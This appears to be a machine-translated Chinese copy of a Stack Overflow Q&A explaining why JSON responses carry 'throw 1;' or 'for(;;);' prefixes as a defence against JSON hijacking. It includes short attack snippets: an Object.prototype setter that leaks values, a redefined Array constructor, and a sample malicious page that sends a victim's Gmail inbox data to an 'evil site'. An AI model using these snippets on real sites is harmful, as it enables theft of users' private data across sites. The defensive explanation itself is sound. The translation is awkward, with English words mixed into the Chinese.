为什么人们把代码如“扔1; 在json响应面前,“<dont be evil>”和“for(;;);”

可能重复:
为什么Google预先安装(1); 到他们的JSON响应?

Google会像这样返回json:

throw 1; <dont be evil> { foo: bar} 

和Facebook的Ajax有这样的JSON:

 for(;;); {"error":0,"errorSummary": ""} 
  • 为什么他们把代码停止执行,并使无效的JSON?
  • 如果它是无效的,他们如何parsing它,如果你试图评估它会崩溃?
  • 他们只是从string中删除它(看起来很贵)?
  • 这有什么安全优势吗?

作为对安全目的的回应:

如果scraper在另一个域上,他们将不得不使用script标签来获取数据,因为XHR不能跨域使用。 即使没有for(;;); 攻击者将如何获取数据? 它没有分配给一个variables,所以不会被垃圾收集,因为没有引用它?

基本上,要获得数据跨域,他们将不得不做

 <script src="http://target.com/json.js"></script> 

但即使没有前置脚本,攻击者也不能使用任何Json数据,而不将其分配给可以全局访问的variables(在这种情况下不会)。 崩溃代码有效地不做任何事情,因为即使没有它,他们也必须使用服务器端脚本来使用他们的网站上的数据。

即使没有for(;;); 攻击者将如何获取数据?

攻击是基于改变内buildtypes的行为,特别是ObjectArray ,通过改变它们的构造函数或其prototype 。 然后,当目标JSON使用{...}或构造时,它们将成为这些对象的攻击者自己的版本,并具有潜在的意外行为。

例如,你可以将一个setter属性转换成Object ,这会暴露用对象字面值写成的值:

 Object.prototype.__defineSetter__('x', function(x) { alert('Ha! I steal '+x); }); 

然后,当一个<script>指向某个使用该属性名称的JSON时:

 {"x": "hello"} 

价值"hello"将被泄漏。

数组和对象文字导致setter被调用的方式是有争议的。 Firefox删除了3.5版本中的行为,以回应在知名网站上公布的攻击。 然而在写作的时候,Safari(4)和Chrome(5)仍然很容易受到这个影响。

所有浏览器现在不允许的另一个攻击是重新定义构造函数:

 Array= function() { alert('I steal '+this); }; [1, 2, 3] 

而现在,IE8的属性实现(基于ECMAScript第五版标准和Object.defineProperty )目前不适用于Object.prototypeArray.prototype

但是,除了保护过去的浏览器,也可能是JavaScript的扩展将来会导致更多的类似漏洞,在这种情况下,chaff也应该防止这些漏洞。

考虑一下,在检查你的GMail帐户后,你去看看我的恶意页面:

 <script type="text/javascript"> Object = function() { ajaxRequestToMyEvilSite(JSON.serialize(this)); } </script> <script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script> 

现在发生的事情是,来自谷歌的JavaScript代码 – 被提问者认为是良性的,并立即失控 – 实际上将被发布到我的恶意网站。 假设在脚本标记中请求的URL发送(因为您的浏览器将显示正确的cookie,Google会正确地认为您已经login到您的收件箱):

 ({ messages: [ { id: 1, subject: 'Super confidential information', message: 'Please keep this to yourself: the password is 42' },{ id: 2, subject: 'Who stole your password?', message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42' } ] }) 

现在,我将发布这个对象的序列化版本给我的邪恶的服务器。 谢谢!

防止这种情况发生的方法是将您的JSON响应彻底删除,如果您在同一个域中处理该数据,则可以将其删除。 如果你喜欢这个答案,请接受由bobince发布的。

编辑

这些string通常被称为“不可parsing的文件”,用于修补影响JSON规范的信息泄漏漏洞。 这次攻击是真实世界,而且Jeremiah Grossman发现了gmail中的漏洞 。 Mozilla也认为这是JSON规范中的一个漏洞,并且已经在Firefox 3中进行了修补 。 但是,因为这个问题仍然影响其他浏览器这个“不可分割的cruft”是必需的,因为它是一个兼容的补丁。

Bobice的回答对这次袭击有一个技术性的解释,这是正确的。

如果它是无效的,他们如何parsing它,如果你试图评估它会崩溃?

这是一个function ,如果你试图eval它会崩溃。 eval允许任意的JavaScript代码,可以用于跨站点脚本攻击。

他们只是从string中删除它(看起来很贵)?

我想是这样。 可能是这样的:

 function parseJson(json) { json = json.replace("throw 1; <dont be evil>", ""); if (/* regex to validate the JSON */) { return eval(json); } else { throw "XSS"; } } 

“不要邪恶”的垃圾可以防止开发者直接使用eval而不是一个更安全的select。